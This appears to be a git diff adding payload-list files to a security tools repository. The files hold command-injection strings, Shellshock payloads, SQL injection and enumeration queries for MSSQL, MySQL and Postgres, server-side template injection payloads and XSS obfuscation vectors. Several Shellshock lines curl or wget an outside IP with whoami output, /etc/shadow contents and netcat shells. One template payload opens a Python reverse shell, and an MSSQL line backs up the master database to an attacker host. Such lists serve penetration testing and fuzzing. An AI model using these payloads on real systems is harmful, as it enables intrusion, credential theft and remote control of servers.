Normal file
|
@ -0,0 +1,102 @@
|
||||||
|
<!--#exec%20cmd="/bin/cat%20/etc/passwd"-->
|
||||||
|
<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->
|
||||||
|
<!--#exec%20cmd="/usr/bin/id;-->
|
||||||
|
<!--#exec%20cmd="/usr/bin/id;-->
|
||||||
|
/index.html|id|
|
||||||
|
;id;
|
||||||
|
;id
|
||||||
|
;netstat -a;
|
||||||
|
;system('cat%20/etc/passwd')
|
||||||
|
;id;
|
||||||
|
|id
|
||||||
|
|/usr/bin/id
|
||||||
|
|id|
|
||||||
|
|/usr/bin/id|
|
||||||
|
||/usr/bin/id|
|
||||||
|
|id;
|
||||||
|
||/usr/bin/id;
|
||||||
|
;id|
|
||||||
|
;|/usr/bin/id|
|
||||||
|
\n/bin/ls -al\n
|
||||||
|
\n/usr/bin/id\n
|
||||||
|
\nid\n
|
||||||
|
\n/usr/bin/id;
|
||||||
|
\nid;
|
||||||
|
\n/usr/bin/id|
|
||||||
|
\nid|
|
||||||
|
;/usr/bin/id\n
|
||||||
|
;id\n
|
||||||
|
|usr/bin/id\n
|
||||||
|
|nid\n
|
||||||
|
`id`
|
||||||
|
`/usr/bin/id`
|
||||||
|
a);id
|
||||||
|
a;id
|
||||||
|
a);id;
|
||||||
|
a;id;
|
||||||
|
a);id|
|
||||||
|
a;id|
|
||||||
|
a)|id
|
||||||
|
a|id
|
||||||
|
a)|id;
|
||||||
|
a|id
|
||||||
|
|/bin/ls -al
|
||||||
|
a);/usr/bin/id
|
||||||
|
a;/usr/bin/id
|
||||||
|
a);/usr/bin/id;
|
||||||
|
a;/usr/bin/id;
|
||||||
|
a);/usr/bin/id|
|
||||||
|
a;/usr/bin/id|
|
||||||
|
a)|/usr/bin/id
|
||||||
|
a|/usr/bin/id
|
||||||
|
a)|/usr/bin/id;
|
||||||
|
a|/usr/bin/id
|
||||||
|
;system('cat%20/etc/passwd')
|
||||||
|
;system('id')
|
||||||
|
;system('/usr/bin/id')
|
||||||
|
%0Acat%20/etc/passwd
|
||||||
|
%0A/usr/bin/id
|
||||||
|
%0Aid
|
||||||
|
%0A/usr/bin/id%0A
|
||||||
|
%0Aid%0A
|
||||||
|
& ping -i 30 127.0.0.1 &
|
||||||
|
& ping -n 30 127.0.0.1 &
|
||||||
|
%0a ping -i 30 127.0.0.1 %0a
|
||||||
|
`ping 127.0.0.1`
|
||||||
|
| id
|
||||||
|
& id
|
||||||
|
; id
|
||||||
|
%0a id %0a
|
||||||
|
`id`
|
||||||
|
$;/usr/bin/id
|
||||||
|
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=16?user=\`whoami\`"
|
||||||
|
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=18?pwd=\`pwd\`"
|
||||||
|
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=20?shadow=\`grep root /etc/shadow\`"
|
||||||
|
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\`uname -a\`"
|
||||||
|
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=24?shell=\`nc -lvvp 1234 -e /bin/bash\`"
|
||||||
|
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=26?shell=\`nc -lvvp 1236 -e /bin/bash &\`"
|
||||||
|
() { :;}; /bin/bash -c "curl http://135.23.158.130/.testing/shellshock.txt?vuln=5"
|
||||||
|
() { :;}; /bin/bash -c "sleep 1 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=1&?vuln=6"
|
||||||
|
() { :;}; /bin/bash -c "sleep 1 && echo vulnerable 1"
|
||||||
|
() { :;}; /bin/bash -c "sleep 3 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=3&?vuln=7"
|
||||||
|
() { :;}; /bin/bash -c "sleep 3 && echo vulnerable 3"
|
||||||
|
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=6&?vuln=8"
|
||||||
|
() { :;}; /bin/bash -c "sleep 6 && curl http://135.23.158.130/.testing/shellshock.txt?sleep=9&?vuln=9"
|
||||||
|
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
|
||||||
|
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=17?user=\`whoami\`"
|
||||||
|
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=19?pwd=\`pwd\`"
|
||||||
|
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=21?shadow=\`grep root /etc/shadow\`"
|
||||||
|
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=23?uname=\`uname -a\`"
|
||||||
|
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=25?shell=\`nc -lvvp 1235 -e /bin/bash\`"
|
||||||
|
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=27?shell=\`nc -lvvp 1237 -e /bin/bash &\`"
|
||||||
|
() { :;}; /bin/bash -c "wget http://135.23.158.130/.testing/shellshock.txt?vuln=4"
|
||||||
|
cat /etc/hosts
|
||||||
|
$(`cat /etc/passwd`)
|
||||||
|
cat /etc/passwd
|
||||||
|
%0Acat%20/etc/passwd
|
||||||
|
{{ get_user_file("/etc/passwd") }}
|
||||||
|
<!--#exec cmd="/bin/cat /etc/passwd"-->
|
||||||
|
<!--#exec cmd="/bin/cat /etc/shadow"-->
|
||||||
|
<!--#exec cmd="/usr/bin/id;-->
|
||||||
|
system('cat /etc/passwd');
|
||||||
|
<?php system("cat /etc/passwd");?>
|
6606
more_payloads/more-xxs-payloads.txt
Normal file
6606
more_payloads/more-xxs-payloads.txt
Normal file
File diff suppressed because it is too large
Load diff
11
more_payloads/mssql-enumeration.txt
Normal file
11
more_payloads/mssql-enumeration.txt
Normal file
|
@ -0,0 +1,11 @@
|
||||||
|
select @@version
|
||||||
|
select @@servernamee
|
||||||
|
select @@microsoftversione
|
||||||
|
select * from master..sysserverse
|
||||||
|
select * from sysusers
|
||||||
|
exec master..xp_cmdshell 'ipconfig+/all'
|
||||||
|
exec master..xp_cmdshell 'net+view'
|
||||||
|
exec master..xp_cmdshell 'net+users'
|
||||||
|
exec master..xp_cmdshell 'ping+<attackerip>'
|
||||||
|
BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat'
|
||||||
|
create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"--
|
5
more_payloads/mysql-injection-login-bypass.txt
Normal file
5
more_payloads/mysql-injection-login-bypass.txt
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
<username>' OR 1=1--
|
||||||
|
'OR '' = ' Allows authentication without a valid username.
|
||||||
|
<username>'--
|
||||||
|
' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
|
||||||
|
'OR 1=1--
|
1
more_payloads/mysql-read-local-files.txt
Normal file
1
more_payloads/mysql-read-local-files.txt
Normal file
|
@ -0,0 +1 @@
|
||||||
|
create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;
|
19
more_payloads/postgres-enumeration.txt
Normal file
19
more_payloads/postgres-enumeration.txt
Normal file
|
@ -0,0 +1,19 @@
|
||||||
|
select version();
|
||||||
|
select current_database();
|
||||||
|
select current_user;
|
||||||
|
select session_user;
|
||||||
|
select current_setting('log_connections');
|
||||||
|
select current_setting('log_statement');
|
||||||
|
select current_setting('port');
|
||||||
|
select current_setting('password_encryption');
|
||||||
|
select current_setting('krb_server_keyfile');
|
||||||
|
select current_setting('virtual_host');
|
||||||
|
select current_setting('port');
|
||||||
|
select current_setting('config_file');
|
||||||
|
select current_setting('hba_file');
|
||||||
|
select current_setting('data_directory');
|
||||||
|
select * from pg_shadow;
|
||||||
|
select * from pg_group;
|
||||||
|
create table myfile (input TEXT);
|
||||||
|
copy myfile from '/etc/passwd';
|
||||||
|
select * from myfile;copy myfile to /tmp/test;
|
48
more_payloads/server-side-template-injection.txt
Normal file
48
more_payloads/server-side-template-injection.txt
Normal file
|
@ -0,0 +1,48 @@
|
||||||
|
{{2*2}}[[3*3]]
|
||||||
|
{{3*3}}
|
||||||
|
{{3*'3'}}
|
||||||
|
<%= 3 * 3 %>
|
||||||
|
${6*6}
|
||||||
|
${{3*3}}
|
||||||
|
@(6+5)
|
||||||
|
#{3*3}
|
||||||
|
#{ 3 * 3 }
|
||||||
|
{{dump(app)}}
|
||||||
|
{{app.request.server.all|join(',')}}
|
||||||
|
{{config.items()}}
|
||||||
|
{{ [].class.base.subclasses() }}
|
||||||
|
{{''.class.mro()[1].subclasses()}}
|
||||||
|
{{ ''.__class__.__mro__[2].__subclasses__() }}
|
||||||
|
{% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %}
|
||||||
|
{{'a'.toUpperCase()}}
|
||||||
|
{{ request }}
|
||||||
|
{{self}}
|
||||||
|
<%= File.open('/etc/passwd').read %>
|
||||||
|
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
|
||||||
|
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
|
||||||
|
${"freemarker.template.utility.Execute"?new()("id")}
|
||||||
|
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
|
||||||
|
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
|
||||||
|
{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
|
||||||
|
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
|
||||||
|
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
|
||||||
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
|
||||||
|
{$smarty.version}
|
||||||
|
{php}echo `id`;{/php}
|
||||||
|
{{['id']|filter('system')}}
|
||||||
|
{{['cat\x20/etc/passwd']|filter('system')}}
|
||||||
|
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||||||
|
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
|
||||||
|
{{request|attr(["_"*2,"class","_"*2]|join)}}
|
||||||
|
{{request|attr(["__","class","__"]|join)}}
|
||||||
|
{{request|attr("__class__")}}
|
||||||
|
{{request.__class__}}
|
||||||
|
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
|
||||||
|
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
|
||||||
|
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||||||
|
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||||||
|
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
|
||||||
|
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
|
||||||
|
${T(java.lang.System).getenv()}
|
||||||
|
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
|
||||||
|
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
673
more_payloads/xss_obfuscation_vectors.txt
Normal file
673
more_payloads/xss_obfuscation_vectors.txt
Normal file
|
@ -0,0 +1,673 @@
|
||||||
|
# A collection of XSS vectors
|
||||||
|
|
||||||
|
```
|
||||||
|
<script\x20type="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x3Etype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x09type="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Atype="text/javascript">javascript:alert(1);</script>
|
||||||
|
'`"><\x3Cscript>javascript:alert(1)</script>
|
||||||
|
'`"><\x00script>javascript:alert(1)</script>
|
||||||
|
<img src=1 href=1 onerror="javascript:alert(1)"></img>
|
||||||
|
<audio src=1 href=1 onerror="javascript:alert(1)"></audio>
|
||||||
|
<video src=1 href=1 onerror="javascript:alert(1)"></video>
|
||||||
|
<body src=1 href=1 onerror="javascript:alert(1)"></body>
|
||||||
|
<image src=1 href=1 onerror="javascript:alert(1)"></image>
|
||||||
|
<object src=1 href=1 onerror="javascript:alert(1)"></object>
|
||||||
|
<script src=1 href=1 onerror="javascript:alert(1)"></script>
|
||||||
|
<svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
|
||||||
|
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
|
||||||
|
<iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
|
||||||
|
<body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
|
||||||
|
<body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
|
||||||
|
<frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
|
||||||
|
<script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
|
||||||
|
<html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
|
||||||
|
<body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
|
||||||
|
<svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
|
||||||
|
<body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
|
||||||
|
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
|
||||||
|
<body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
|
||||||
|
<body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
|
||||||
|
<bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
|
||||||
|
<html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
|
||||||
|
<html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
|
||||||
|
<style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
|
||||||
|
<iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
|
||||||
|
<body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
|
||||||
|
<style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
|
||||||
|
<frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
|
||||||
|
<applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
|
||||||
|
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
|
||||||
|
<script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
|
||||||
|
<html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
|
||||||
|
<html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
|
||||||
|
<body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
|
||||||
|
<html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
|
||||||
|
<marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
|
||||||
|
<xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
|
||||||
|
<frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
|
||||||
|
<applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
|
||||||
|
<svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
|
||||||
|
<html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
|
||||||
|
<body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
|
||||||
|
<body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
|
||||||
|
<object onError object onError="javascript:javascript:alert(1)"></object onError>
|
||||||
|
<body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
|
||||||
|
<html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
|
||||||
|
<applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
|
||||||
|
<body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
|
||||||
|
<svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
|
||||||
|
<applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
|
||||||
|
<body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
|
||||||
|
<body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
|
||||||
|
<iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
|
||||||
|
<body onload body onload="javascript:javascript:alert(1)"></body onload>
|
||||||
|
<html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
|
||||||
|
<object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
|
||||||
|
<body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
|
||||||
|
<body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
|
||||||
|
<body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
|
||||||
|
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
|
||||||
|
<iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
|
||||||
|
<svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
|
||||||
|
<html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
|
||||||
|
<body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
|
||||||
|
\x3Cscript>javascript:alert(1)</script>
|
||||||
|
'"`><script>/* *\x2Fjavascript:alert(1)// */</script>
|
||||||
|
<script>javascript:alert(1)</script\x0D
|
||||||
|
<script>javascript:alert(1)</script\x0A
|
||||||
|
<script>javascript:alert(1)</script\x0B
|
||||||
|
<script charset="\x22>javascript:alert(1)</script>
|
||||||
|
<!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
|
||||||
|
--><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
|
||||||
|
--><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
|
||||||
|
--><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
|
||||||
|
--><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
|
||||||
|
`"'><img src='#\x27 onerror=javascript:alert(1)>
|
||||||
|
<a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
"'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
|
||||||
|
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<script>/* *\x2A/javascript:alert(1)// */</script>
|
||||||
|
<script>/* *\x00/javascript:alert(1)// */</script>
|
||||||
|
<style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
|
||||||
|
<style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
|
||||||
|
<style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
|
||||||
|
<style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
|
||||||
|
<style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
|
||||||
|
"'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
|
||||||
|
"'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
|
||||||
|
<script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
|
||||||
|
<script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
|
||||||
|
<script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
|
||||||
|
'`"><\x3Cscript>javascript:alert(1)</script>
|
||||||
|
'`"><\x00script>javascript:alert(1)</script>
|
||||||
|
"'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
|
||||||
|
"'`><\x00img src=xxx:x onerror=javascript:alert(1)>
|
||||||
|
<script src="data:text/plain\x2Cjavascript:alert(1)"></script>
|
||||||
|
<script src="data:\xD4\x8F,javascript:alert(1)"></script>
|
||||||
|
<script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
|
||||||
|
<script src="data:\xCB\x8F,javascript:alert(1)"></script>
|
||||||
|
<script\x20type="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x3Etype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x09type="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
|
||||||
|
<script\x0Atype="text/javascript">javascript:alert(1);</script>
|
||||||
|
ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:expression\x00(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x09expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x20expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x00expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
|
||||||
|
ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
|
||||||
|
<a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x11javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x88javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x89javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x17javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x03javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x0Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x10javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x82javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x20javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x13javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x09javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x8Ajavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x14javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x19javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\xAFjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x81javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x1Djavascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x87javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x07javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE1\x9A\x80javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\xE2\x80\x83javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x04javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x01javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
<a href="\x08javascript:javascript:alert(1)" id="fuzzelement1">test</a>
|
||||||
|
